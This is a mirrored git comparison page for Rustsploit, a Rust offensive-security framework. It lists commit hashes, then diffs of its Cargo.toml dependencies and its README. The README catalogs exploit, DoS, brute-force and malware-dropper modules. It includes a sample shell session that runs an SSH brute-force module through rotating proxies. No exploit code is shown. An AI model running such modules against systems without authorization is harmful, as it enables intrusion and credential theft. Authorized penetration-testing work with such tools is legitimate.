mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
205 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 0303f7df74 | |||
| 6894c7523c | |||
| 4403218c05 | |||
| a373f07870 | |||
| ba92aa5d9e | |||
| 4efe2a974a | |||
| 699827a054 | |||
| 799ded9523 | |||
| ab748265a0 | |||
| 22852e571d | |||
| 5667949990 | |||
| a2b829f89c | |||
| c9b3d331e7 | |||
| bb964cc062 | |||
| cdaea5221e | |||
| 64414efcf8 | |||
| 1fbcf6d4b5 | |||
| 61863cc301 | |||
| 906808f392 | |||
| b2c6137389 | |||
| e232427464 | |||
| ab17b25589 | |||
| 4762c3cb7f | |||
| 3d37c0c67d | |||
| 8b69bb6234 | |||
| f51d7c111b | |||
| 587f7a5163 | |||
| e0b1fbd06c | |||
| fb9ae7f3c2 | |||
| ebeb15e2b7 | |||
| 219f0710eb | |||
| c2c03295d5 | |||
| 12402c61c4 | |||
| 22aea2de44 | |||
| 347fbd71ec | |||
| c35bcf50c5 | |||
| ea1112ef4d | |||
| 3704f6239e | |||
| 13d0ca712c | |||
| d03fe5f237 | |||
| 9e121c51c0 | |||
| 82b2b087b0 | |||
| ce6e4f7e35 | |||
| f19891e03b | |||
| 0d1afe605b | |||
| ab3c86c437 | |||
| 7d3f1e8a51 | |||
| 00cf535bac | |||
| 5fff3916e3 | |||
| 7fa215aee0 | |||
| 6d69e14982 | |||
| 120832102e | |||
| 7ce7f582ce | |||
| 99ce6d9e7f | |||
| dc9f028495 | |||
| 699de58d4f | |||
| 655542e36f | |||
| 4175c164b0 | |||
| 1e657765bf | |||
| 3cd9840314 | |||
| c8d2d254a0 | |||
| f7793bc6ed | |||
| c33650e604 | |||
| 4049849a53 | |||
| a1ca9c3e43 | |||
| 4bdae0b07f | |||
| 4389cf9015 | |||
| f292e8c697 | |||
| 9616e3fea4 | |||
| 30072e4ccb | |||
| e45c346376 | |||
| d139d64bda | |||
| 849a724f0c | |||
| 3db864668c | |||
| e04c08e8d5 | |||
| 8a035a2f5b | |||
| 1afe9f5184 | |||
| 4c954a7f9f | |||
| 6a15adb0d2 | |||
| 956e2d23a2 | |||
| c774a4358a | |||
| a120f536b6 | |||
| 018f6234bb | |||
| 22f4bcf2eb | |||
| 384b09a6af | |||
| 1b50556331 | |||
| 62dbc9e2ec | |||
| 40180206fa | |||
| 9aee2764dd | |||
| f21264f99c | |||
| 7d875ede8e | |||
| c214fc0bfb | |||
| a96746297c | |||
| 96ac4d9a1a | |||
| 1a282ee99b | |||
| e7fc49d128 | |||
| 4804dcc860 | |||
| f1f1cf9855 | |||
| d250d23f3c | |||
| 2ee136e26d | |||
| 6110190d8c | |||
| 7fa6643c75 | |||
| 8c9105166f | |||
| 5775fbc016 | |||
| b5e5ac088a | |||
| 85bc679a5b | |||
| 8f83e1013b | |||
| 9ef5ec403f | |||
| 324d87b575 | |||
| a7a61b59db | |||
| 9efdcf274d | |||
| 0feab02c60 | |||
| 0a892be55a | |||
| 73f9c8f9a3 | |||
| b8b776f12a | |||
| 5d156686c6 | |||
| 630f123fe0 | |||
| aaa02ee3fe | |||
| d746c0fa69 | |||
| 1f66601843 | |||
| 386b19a17f | |||
| 9220bdceb5 | |||
| 9431916b8b | |||
| 5f168a79a3 | |||
| 63200f3d5e | |||
| 978f27e368 | |||
| 40ea4a3a74 | |||
| 90b83e4c29 | |||
| e58535d067 | |||
| d3596cf9c1 | |||
| c1963bd947 | |||
| 5ca83ef795 | |||
| c1202e98e9 | |||
| 1957eee693 | |||
| dc2763d2c4 | |||
| 8f2e4adc2d | |||
| 1c934adc33 | |||
| f37f5fa8f5 | |||
| a508bcb7dd | |||
| 260b919fba | |||
| ee3d24f6e8 | |||
| cbe7148938 | |||
| 4ec2631a2c | |||
| 4d6d127045 | |||
| 7da29ae4fe | |||
| edef9da2e5 | |||
| 0bc088d6e5 | |||
| 723241e50e | |||
| 63fb9e2387 | |||
| bd40afe476 | |||
| 537541be89 | |||
| 76a44bc3e7 | |||
| 176402c12f | |||
| 2c67cfe4ee | |||
| a4d94476e4 | |||
| 938b613cc1 | |||
| 64a0067a36 | |||
| 7feccde0b1 | |||
| 84ccbb9ce1 | |||
| 60a877ca57 | |||
| 2265480f99 | |||
| 6de9934070 | |||
| e0e2c4d8a9 | |||
| ba160cade8 | |||
| 553180eb16 | |||
| 0b17d39a05 | |||
| a348d440f8 | |||
| c60d8a69b3 | |||
| cd48200b0e | |||
| 566372adae | |||
| 9cb1ec0eb7 | |||
| 5aa35e8fe4 | |||
| 7c17a96ba4 | |||
| 4985537680 | |||
| 3514bea13c | |||
| c69ecb237a | |||
| d61d0987dc | |||
| 102d618289 | |||
| b5d0ce4c70 | |||
| 82ff19dc9d | |||
| 8d314e6d78 | |||
| aeaa894336 | |||
| 1b407c349f | |||
| 62cfce1b8d | |||
| c1f4aca340 | |||
| b6208db764 | |||
| 66679ee09d | |||
| 4a4ad714b0 | |||
| cf95a3db70 | |||
| 5434430ad0 | |||
| 6d33f0fdaa | |||
| 77124d25a2 | |||
| 7ec5089ea8 | |||
| 587e11267a | |||
| 65c6ec75b4 | |||
| 6bbb9d3048 | |||
| de6b598cd9 | |||
| d66f33193f | |||
| be2237e39b | |||
| f4935c1f9e | |||
| b646039f2e | |||
| c6c577ed52 | |||
| 77639bcf8b | |||
| 49ab851ffe | |||
| 03779dbe64 |
+58
-32
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rustsploit"
|
||||
version = "0.4.3"
|
||||
version = "0.4.9"
|
||||
edition = "2024"
|
||||
build = "build.rs"
|
||||
|
||||
@@ -11,23 +11,21 @@ path = "src/main.rs"
|
||||
[dependencies]
|
||||
# Core / General
|
||||
anyhow = "1.0"
|
||||
colored = "3.0" # newer than 2.0
|
||||
rand = "0.9"
|
||||
rustyline = "17.0"
|
||||
sysinfo = { version = "0.37", features = ["multithread"] }
|
||||
colored = "3.1" # newer than 2.0
|
||||
rand = "0.10"
|
||||
rustyline = "18.0"
|
||||
|
||||
# CLI & Async runtime
|
||||
clap = { version = "4.5", features = ["derive"] }
|
||||
tokio = { version = "1.49", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
|
||||
clap = { version = "4.6", features = ["derive"] }
|
||||
tokio = { version = "1.51", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
|
||||
|
||||
# HTTP & Web
|
||||
reqwest = { version = "0.13", features = ["json", "cookies", "socks"] }
|
||||
reqwest = { version = "0.13", default-features = false, features = ["json", "cookies", "socks", "multipart", "form", "stream", "rustls-no-provider", "charset", "http2"] }
|
||||
h2 = "0.4"
|
||||
http = "1.4"
|
||||
bytes = "1.11"
|
||||
tokio-rustls = "0.26"
|
||||
bytes = "1.11.1"
|
||||
tokio-rustls = { version = "0.26", default-features = false, features = ["ring", "logging", "tls12"] }
|
||||
url = "2.5"
|
||||
urlencoding = "2.1"
|
||||
quick-xml = "0.39"
|
||||
data-encoding = "2.10"
|
||||
semver = "1.0"
|
||||
@@ -36,45 +34,45 @@ semver = "1.0"
|
||||
aes = "0.8"
|
||||
cipher = "0.4"
|
||||
md5 = "0.8"
|
||||
sha2 = "0.10"
|
||||
hex = "0.4"
|
||||
flate2 = "1.1"
|
||||
base64 = "0.22"
|
||||
|
||||
# Networking & Protocols
|
||||
tokio-socks = "0.5"
|
||||
socket2 = { version = "0.6", features = ["all"] }
|
||||
pnet_packet = "0.35"
|
||||
ipnet = "2.11"
|
||||
ipnetwork = "0.21"
|
||||
regex = "1.12" # newest listed
|
||||
which = "8.0"
|
||||
|
||||
# FTP
|
||||
async_ftp = "6.0"
|
||||
suppaftp = { version = "7.1", features = ["tokio-async-native-tls"] }
|
||||
suppaftp = { version = "8.0", features = ["tokio-async-native-tls"] }
|
||||
native-tls = "0.2"
|
||||
rustls = "0.23"
|
||||
webpki-roots = "1.0"
|
||||
rustls = { version = "0.23", default-features = false, features = ["ring", "logging", "std", "tls12"] }
|
||||
rustls-pemfile = "2" # used by exploit/scanner modules
|
||||
hyper = { version = "1", features = ["http1", "server"] }
|
||||
hyper-util = { version = "0.1", features = ["tokio", "service"] }
|
||||
|
||||
# Telnet
|
||||
threadpool = "1.8"
|
||||
crossbeam-channel = "0.5"
|
||||
telnet = "0.2"
|
||||
async-stream = "0.3.6"
|
||||
|
||||
# SSH
|
||||
ssh2 = "0.9"
|
||||
libc = "0.2"
|
||||
|
||||
# Resource limits (safe wrapper for getrlimit/setrlimit)
|
||||
rlimit = "0.11"
|
||||
|
||||
|
||||
# Bluetooth
|
||||
btleplug = { version = "0.12", optional = true }
|
||||
|
||||
# WPair migrated from ratatui+crossterm TUI to rustyline REPL — deps removed.
|
||||
|
||||
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
|
||||
# rdp = "0.12"
|
||||
|
||||
# Walkdir (used by telnet module)
|
||||
walkdir = "2.5"
|
||||
|
||||
# WebSocket (Spotube exploit)
|
||||
tokio-tungstenite = "0.28"
|
||||
tokio-tungstenite = "0.29"
|
||||
|
||||
# Futures
|
||||
futures = "0.3"
|
||||
@@ -86,29 +84,53 @@ serde_json = "1.0"
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
|
||||
# API Server (Axum)
|
||||
axum = "0.8"
|
||||
axum = { version = "0.8", features = ["ws"] }
|
||||
tower = "0.5"
|
||||
tower-http = { version = "0.6", features = ["cors", "trace", "limit"] }
|
||||
uuid = { version = "1.19", features = ["v4"] }
|
||||
uuid = { version = "1.23", features = ["v4", "serde"] }
|
||||
|
||||
# DNS
|
||||
hickory-client = { version = "0.25" }
|
||||
hickory-proto = "0.25"
|
||||
|
||||
# Logging
|
||||
tracing = "0.1"
|
||||
tracing-subscriber = { version = "0.3", features = ["env-filter"] }
|
||||
|
||||
# Misc utilities
|
||||
once_cell = "1.21"
|
||||
home = "0.5" # updated for edition 2024 compatibility
|
||||
pnet = "0.35"
|
||||
des = { version = "0.8.1", features = ["zeroize"] }
|
||||
zeroize = { version = "1", features = ["derive"] }
|
||||
sha1 = "0.10"
|
||||
strsim = "0.11"
|
||||
ssh2 = "0.9.5"
|
||||
num_cpus = "1.17.0"
|
||||
|
||||
|
||||
# Constant-time comparison for security (timing attack prevention)
|
||||
subtle = "2.6"
|
||||
aes-gcm = "0.10.3"
|
||||
|
||||
# Post-Quantum Encryption (PQXDH: X25519 + ML-KEM-768 hybrid, ChaCha20-Poly1305 AEAD)
|
||||
ml-kem = "0.2.3"
|
||||
kem = "=0.3.0-pre.0"
|
||||
rand_core = { version = "0.6", features = ["getrandom"] }
|
||||
x25519-dalek = { version = "2.0", features = ["static_secrets"] }
|
||||
chacha20poly1305 = "0.10"
|
||||
hkdf = "0.12"
|
||||
sha2 = "0.10"
|
||||
hex = "0.4"
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.12"
|
||||
walkdir = "2.5"
|
||||
|
||||
# Dependency overrides to address security warnings in transitive dependencies
|
||||
# Note: These are warnings (not vulnerabilities) in transitive dependencies
|
||||
# async-std warning: suppaftp uses async-std internally - waiting for upstream fix
|
||||
# The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency
|
||||
# Dependency overrides to address security advisories in transitive dependencies
|
||||
# RUSTSEC-2026-0009: time >=0.3.47 fixes DoS via stack exhaustion (used by reqwest via cookie/cookie_store)
|
||||
time = "0.3.47"
|
||||
# (ratatui 0.29 transitive advisories cleared when the TUI was replaced with rustyline.)
|
||||
|
||||
# ============================================
|
||||
# Development profile: Fast incremental builds
|
||||
@@ -141,3 +163,7 @@ strip = true
|
||||
inherits = "release"
|
||||
lto = "thin" # Faster than fat LTO
|
||||
codegen-units = 4 # Parallel codegen
|
||||
|
||||
[features]
|
||||
default = ["bluetooth"]
|
||||
bluetooth = ["dep:btleplug"]
|
||||
|
||||
@@ -1,505 +1,128 @@
|
||||
# Rustsploit
|
||||
|
||||
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
|
||||
|
||||

|
||||

|
||||
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
|
||||
|
||||
|
||||
- **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
- **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
|
||||
- **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
|
||||
- **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
|
||||

|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
## 📖 Wiki & Documentation
|
||||
|
||||
1. [Highlights](#highlights)
|
||||
2. [Module Catalog](#module-catalog)
|
||||
3. [Quick Start](#quick-start)
|
||||
4. [Docker Deployment](#docker-deployment)
|
||||
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
|
||||
6. [CLI Usage](#cli-usage)
|
||||
7. [API Server Mode](#api-server-mode)
|
||||
8. [Proxy Workflow](#proxy-workflow)
|
||||
9. [How Modules Are Discovered](#how-modules-are-discovered)
|
||||
10. [Contributing](#contributing)
|
||||
11. [Credits](#credits)
|
||||
Full documentation lives in the **[Rustsploit Wiki](docs/Home.md)**. Below is a quick index — click through for detailed guides, examples, and reference material.
|
||||
|
||||
| Document | Description |
|
||||
|----------|-------------|
|
||||
| [Getting Started](docs/Getting-Started.md) | Installation, build, quick-start, Docker deployment |
|
||||
| [Interactive Shell](docs/Interactive-Shell.md) | Shell walkthrough, command palette, chaining, shortcuts |
|
||||
| [CLI Reference](docs/CLI-Reference.md) | Command-line flags, non-shell usage, output formats |
|
||||
| [API Server](docs/API-Server.md) | REST + WebSocket API, PQ encryption, endpoints, rate limiting |
|
||||
| [API Usage Examples](docs/API-Usage-Examples.md) | Practical curl workflows, request/response samples |
|
||||
| [Module Catalog](docs/Module-Catalog.md) | All modules by category — exploits, scanners, creds |
|
||||
| [Module Development](docs/Module-Development.md) | How to author new modules, lifecycle, dispatcher |
|
||||
| [Security & Validation](docs/Security-Validation.md) | Input validation, security patterns, honeypot detection |
|
||||
| [Credential Modules Guide](docs/Credential-Modules-Guide.md) | Best practices for brute-force / cred modules |
|
||||
| [Exploit Modules Guide](docs/Exploit-Modules-Guide.md) | Best practices for exploit modules |
|
||||
| [Utilities & Helpers](docs/Utilities-Helpers.md) | `utils.rs` public API, target normalization, honeypot check |
|
||||
| [Testing & QA](docs/Testing-QA.md) | Build checks, smoke tests, wordlist validation |
|
||||
| [Changelog](docs/Changelog.md) | Release notes and version history |
|
||||
| [Contributing](docs/Contributing.md) | Fork guide, PR checklist, code style |
|
||||
| [Credits](docs/Credits.md) | Authors, acknowledgements, legal notice |
|
||||
|
||||
---
|
||||
|
||||
## Highlights
|
||||
|
||||
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
|
||||
- **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
|
||||
- **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
|
||||
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP, SNMP, L2TP, MQTT, Fortinet brute force modules with IPv6 and TLS support where applicable
|
||||
- **Enhanced Telnet module:** Full IAC (Interpret As Command) negotiation, advanced error classification, verbose quick-check mode, robust buffer handling
|
||||
- **Improved RDP module:** Streaming failover for large password files (>150MB), comprehensive error classification, multiple security level support (NLA/TLS/RDP/Negotiate/Auto)
|
||||
- **L2TP/IPsec Bruteforce:** Multi-platform support (strongswan, xl2tpd, NetworkManager, rasdial, networksetup), proper IPsec Phase 1/2 handling
|
||||
- **Framework-level honeypot detection:** Automatic detection before scans using 200 common ports (warns if 11+ ports open)
|
||||
- **Advanced target normalization:** Supports IPv4, IPv6, hostnames, URLs, CIDR notation with comprehensive validation
|
||||
- **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
|
||||
- **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, DNS recursion tester, HTTP method scanner, StalkRoute traceroute (root), **Directory Bruteforcer**, **Sequential Fuzzer**
|
||||
- **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
|
||||
- **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
|
||||
- **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
|
||||
- **Security hardened:** Comprehensive input validation, path traversal protection, length limits, and memory-safe operations throughout
|
||||
- **Honeypot detection:** Framework-level automatic detection before module execution to warn about potentially deceptive targets
|
||||
- **Enhanced target handling:** Advanced normalization supporting IPv4, IPv6 (with brackets), hostnames, URLs, CIDR notation, and port extraction
|
||||
|
||||
---
|
||||
|
||||
## Module Catalog
|
||||
|
||||
Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
|
||||
|
||||
| Category | Highlights |
|
||||
|----------|------------|
|
||||
| `creds/generic` | FTP anonymous & FTPS brute force (5 operation modes, JSON config), SSH brute force, SSH user enumeration (timing attack), SSH password spray, **Telnet brute force (with IAC negotiation)**, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), **RDP auth-only brute (streaming mode, multiple security levels)**, **MQTT brute force**, SNMP community string brute force, **L2TP/IPsec brute force (multi-platform)**, Fortinet SSL VPN brute force |
|
||||
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, **TP-Link Tapo C200 CVE-2021-4045**, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE, Flowise CVE-2025-59528 RCE, HTTP/2 Rapid Reset DoS, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed, **React2Shell CVE-2025-55182**, **SSHPWN Framework** (SFTP symlink/setuid/traversal, SCP injection/DoS, Session env injection) |
|
||||
| `scanners` | Port scanner (TCP/UDP/SYN/ACK), ping sweep (ICMP/TCP/UDP/SYN/ACK), SSDP M-SEARCH enumerator, HTTP title fetcher, HTTP method scanner, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion), **SSH scanner** (banner grabbing, CIDR support), **Directory Bruteforcer (recursive, extensions)**, **Sequential Fuzzer (multi-encoding, custom charsets)** |
|
||||
| `payloadgens` | `narutto_dropper`, BAT payload generator |
|
||||
| `lists` | RTSP wordlists, telnet default credentials, and helper files |
|
||||
|
||||
Run `modules` or `find <keyword>` in the shell for the authoritative list.
|
||||
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` — drop in new code, no manual registration needed
|
||||
- **Interactive shell:** 40+ commands with shortcuts, command chaining (`&`), tab completion, and command history
|
||||
- **Module metadata:** Optional `info()` and `check()` functions per module — CVE references, author, rank, non-destructive vulnerability verification
|
||||
- **Global options (`setg`):** Persistent key-value settings that apply across all modules — like Metasploit's datastore
|
||||
- **Credential store:** Track discovered credentials across sessions with `creds` commands and JSON persistence
|
||||
- **Host/service tracking:** Workspace-based engagement tracking with `hosts`, `services`, `notes` commands
|
||||
- **Loot management:** Structured evidence collection with file storage and metadata indexing
|
||||
- **Resource scripts:** Automate workflows from files, auto-load startup scripts, save command history with `makerc`
|
||||
- **Background jobs:** Run modules asynchronously with `run -j`, manage with `jobs` commands
|
||||
- **Export/reporting:** Export all engagement data to JSON, CSV, or human-readable summary reports
|
||||
- **Console logging:** `spool` command captures all output to file for documentation
|
||||
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, IMAP, RDP, RTSP, SNMP, L2TP, MQTT, VNC, MySQL, PostgreSQL, Redis, CouchDB, Elasticsearch, Memcached, HTTP Basic, Proxy, Fortinet — with IPv6 and TLS support
|
||||
- **Exploit coverage:** CVEs for VNC (LibVNC, TigerVNC, TightVNC, x11vnc), honeypots (Cowrie, Dionaea, HoneyTrap, SNARE), WAFs (SafeLine), Apache Camel, Kubernetes ingress-nginx, Commvault, MISP, Zimbra, Next.js, Vite, and 100+ more
|
||||
- **Scanners & utilities:** Port scanner, ping sweep, SSDP, HTTP title grabber, DNS recursion tester, directory bruteforcer, sequential fuzzer, proxy scanner, reflect scanner, vulnerability checker
|
||||
- **API server:** PQ-encrypted WebSocket transport — post-quantum cryptography, full CRUD for credentials, hosts, services, loot, jobs
|
||||
- **MCP server:** 38-tool Model Context Protocol server for AI-assisted pentesting via stdio
|
||||
- **Plugin system:** Third-party modules via `src/modules/plugins/` with build-time discovery and startup safety warnings
|
||||
- **Security hardened:** Input validation, path traversal protection, honeypot detection, root privilege checks, spool symlink protection, memory-safe operations
|
||||
- **IPv4/IPv6 ready:** Both address families work out-of-the-box across all modules
|
||||
|
||||
---
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Requirements
|
||||
**One command** (Debian/Ubuntu/Kali):
|
||||
|
||||
```
|
||||
sudo apt update
|
||||
sudo apt install freerdp2-x11 # Required for the RDP brute force module
|
||||
```bash
|
||||
sudo apt update && sudo apt install -y build-essential pkg-config libssl-dev libdbus-1-dev cmake && (command -v cargo > /dev/null 2>&1 || (curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y && . "$HOME/.cargo/env")) && git clone https://github.com/s-b-repo/rustsploit.git && cd rustsploit && cargo run
|
||||
```
|
||||
## How to turn Bluetooth OFF (e.g. on FreeBSD without Bluetooth hardware):
|
||||
|
||||
```
|
||||
cargo build --no-default-features
|
||||
```
|
||||
## or
|
||||
```
|
||||
cargo run --no-default-features
|
||||
```
|
||||
## How to turn Bluetooth ON
|
||||
```
|
||||
cargo build --features bluetooth
|
||||
```
|
||||
## or
|
||||
```
|
||||
cargo run --features bluetooth
|
||||
```
|
||||
|
||||
Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
|
||||
<details>
|
||||
<summary>What each dependency does</summary>
|
||||
|
||||
### Clone + Build
|
||||
| Package | Required by | Why |
|
||||
|---------|------------|-----|
|
||||
| `build-essential` | Native crate compilation | gcc, make, libc headers |
|
||||
| `pkg-config` | `native-tls`, `ssh2` | Finds system libraries at build time |
|
||||
| `libssl-dev` | `native-tls`, `ssh2` | OpenSSL headers for TLS and SSH |
|
||||
| `libdbus-1-dev` | `btleplug` | D-Bus IPC for Bluetooth scanning |
|
||||
| `cmake` | `ssh2` (libssh2-sys) | Builds libssh2 from source |
|
||||
|
||||
```
|
||||
git clone https://github.com/s-b-repo/rustsploit.git
|
||||
cd rustsploit
|
||||
cargo build
|
||||
```
|
||||
|
||||
### Run (Interactive Shell)
|
||||
</details>
|
||||
|
||||
```
|
||||
cargo run
|
||||
```
|
||||
|
||||
### Install (optional)
|
||||
|
||||
```
|
||||
cargo install --path .
|
||||
```
|
||||
For other distros (Arch, Gentoo, Fedora), Docker deployment, and one-liner installs, see **[Getting Started](docs/Getting-Started.md)**.
|
||||
|
||||
---
|
||||
|
||||
## Docker Deployment
|
||||
## Quick Navigation
|
||||
|
||||
Rustsploit ships with a standalone provisioning script that builds and launches the API inside Docker (mirroring the multi-stage workflow used in vxcontrol/pentagi).
|
||||
|
||||
### Requirements
|
||||
|
||||
- Docker Engine 24+ (or Docker Desktop)
|
||||
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
|
||||
- Python 3.8+
|
||||
|
||||
### Interactive Setup
|
||||
|
||||
```
|
||||
python3 scripts/setup_docker.py
|
||||
```
|
||||
|
||||
The helper will:
|
||||
|
||||
1. Confirm you are in the repository root (`Cargo.toml` present).
|
||||
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom host:port).
|
||||
3. Let you enter or auto-generate an API key (printable ASCII, 128 chars max).
|
||||
4. Toggle hardening mode and tune the IP limit if desired.
|
||||
5. Generate:
|
||||
- `docker/Dockerfile.api` (build + serve stages)
|
||||
- `docker/entrypoint.sh` (passes CLI flags / hardening state)
|
||||
- `.env.rustsploit-docker` (API key, bind address, hardening settings)
|
||||
- `docker-compose.rustsploit.yml`
|
||||
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
|
||||
|
||||
Existing files are never overwritten without confirmation (use `--force` for scripted deployments).
|
||||
|
||||
### Non-Interactive / CI Usage
|
||||
|
||||
All prompts have CLI equivalents:
|
||||
|
||||
```
|
||||
python3 scripts/setup_docker.py \
|
||||
--bind 0.0.0.0:8443 \
|
||||
--generate-key \
|
||||
--enable-hardening \
|
||||
--ip-limit 5 \
|
||||
--skip-up \
|
||||
--force \
|
||||
--non-interactive
|
||||
```
|
||||
|
||||
This produces the Docker assets but skips the compose launch. To start the stack later:
|
||||
|
||||
```
|
||||
docker compose -f docker-compose.rustsploit.yml up -d --build
|
||||
```
|
||||
|
||||
Environment variables are written with 0600 permissions so secrets stay private. Re-run the script any time you want to regenerate artefacts or rotate the API key.
|
||||
- **New user?** → [Getting Started](docs/Getting-Started.md)
|
||||
- **Writing a module?** → [Module Development](docs/Module-Development.md)
|
||||
- **Using the API?** → [API Server](docs/API-Server.md) + [API Usage Examples](docs/API-Usage-Examples.md)
|
||||
- **Running from CLI?** → [CLI Reference](docs/CLI-Reference.md)
|
||||
- **Full module list?** → [Module Catalog](docs/Module-Catalog.md)
|
||||
|
||||
---
|
||||
|
||||
## New Features & Improvements
|
||||
## Private Internet Recommendations
|
||||
|
||||
### Framework-Level Enhancements
|
||||
|
||||
- **Honeypot Detection**: Automatically scans 200 common ports before module execution. If 11+ ports are open, warns that the target is likely a honeypot. This check runs universally on every target after it's set.
|
||||
|
||||
- **Advanced Target Normalization**: The framework now supports:
|
||||
- IPv4: `192.168.1.1`, `192.168.1.1:8080`
|
||||
- IPv6: `::1`, `[::1]`, `[::1]:8080`, `2001:db8::1`
|
||||
- Hostnames: `example.com`, `example.com:443`
|
||||
- URLs: `http://example.com:8080` (extracts host:port)
|
||||
- CIDR notation: `192.168.1.0/24`, `2001:db8::/32`
|
||||
|
||||
All targets are validated for security (DoS prevention, path traversal protection, format validation).
|
||||
|
||||
### Module Improvements
|
||||
|
||||
- **Telnet Bruteforce**:
|
||||
- Full Telnet IAC (Interpret As Command) negotiation support
|
||||
- Enhanced error classification (connection, DNS, authentication, protocol, I/O, timeout errors)
|
||||
- Verbose mode for quick checks showing all attempts and detailed statistics
|
||||
- Improved buffer handling and memory management
|
||||
|
||||
- **RDP Bruteforce**:
|
||||
- Automatic streaming failover for password files >150MB to prevent memory exhaustion
|
||||
- Comprehensive error classification (ConnectionFailed, AuthenticationFailed, CertificateError, Timeout, NetworkError, ProtocolError, ToolNotFound, Unknown)
|
||||
- Support for multiple RDP security levels: Auto, NLA, TLS, RDP, Negotiate
|
||||
- Command injection prevention in external tool calls
|
||||
|
||||
- **MQTT Bruteforce**:
|
||||
- Full MQTT 3.1.1 protocol implementation
|
||||
- Proper CONNECT packet construction with variable-length encoding
|
||||
- CONNACK response parsing and error classification
|
||||
|
||||
- **SSH User Enumeration**:
|
||||
- Timing attack-based user enumeration (inspired by CVE-2018-15473)
|
||||
- Statistical analysis with configurable samples and thresholds
|
||||
- Distinguishes valid/invalid users based on authentication time differences
|
||||
|
||||
- **Directory Bruteforcer**:
|
||||
- High-performance recursive directory scanning
|
||||
- Custom wordlists with extension appending
|
||||
- Smart status code filtering and size anomaly detection
|
||||
- Interactive wizard for easy configuration
|
||||
|
||||
- **Sequential Fuzzer**:
|
||||
- Targeted fuzzing for URLs, headers, and body parameters
|
||||
- Multiple encoding types (URL, Double URL, Hex, Base64, etc.)
|
||||
- Custom charsets (SQL, Traversal, Command Injection)
|
||||
- Iterative generation for exhaustive coverage
|
||||
|
||||
## Interactive Shell Walkthrough
|
||||
|
||||
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
|
||||
|
||||
```text
|
||||
RustSploit Command Palette
|
||||
Command Shortcuts Description
|
||||
--------------- ------------------------- ------------------------------
|
||||
help help | h | ? Show this screen
|
||||
modules modules | ls | m List discovered modules
|
||||
find find <kw> | f1 <kw> Search modules by keyword
|
||||
use use <path> | u <path> Select module (ex: u exploits/heartbleed)
|
||||
set target set target <value> Set current target (IPv4/IPv6/hostname)
|
||||
run run | go Execute current module (honors proxy mode)
|
||||
proxy_load proxy_load [file] | pl Load proxies from file (HTTP/HTTPS/SOCKS)
|
||||
proxy_on/off proxy_on | pon / ... Toggle proxy usage
|
||||
proxy_test proxy_test | ptest Validate proxies (URL, timeout, concurrency)
|
||||
show_proxies show_proxies | proxies View proxy status
|
||||
exit exit | quit | q Leave shell
|
||||
```
|
||||
|
||||
Example session:
|
||||
|
||||
```text
|
||||
rsf> f1 ssh
|
||||
rsf> u creds/generic/ssh_bruteforce
|
||||
rsf> set target 10.10.10.10
|
||||
rsf> pl data/proxies.txt # prompts if omitted
|
||||
rsf> pon
|
||||
rsf> proxy_test # optional validation / filtering
|
||||
rsf> go
|
||||
```
|
||||
|
||||
If proxy mode is enabled, Rustsploit rotates through validated proxies, falls back to direct mode only after exhaustion, and politely reports successes or errors.
|
||||
|
||||
### Command Chaining
|
||||
|
||||
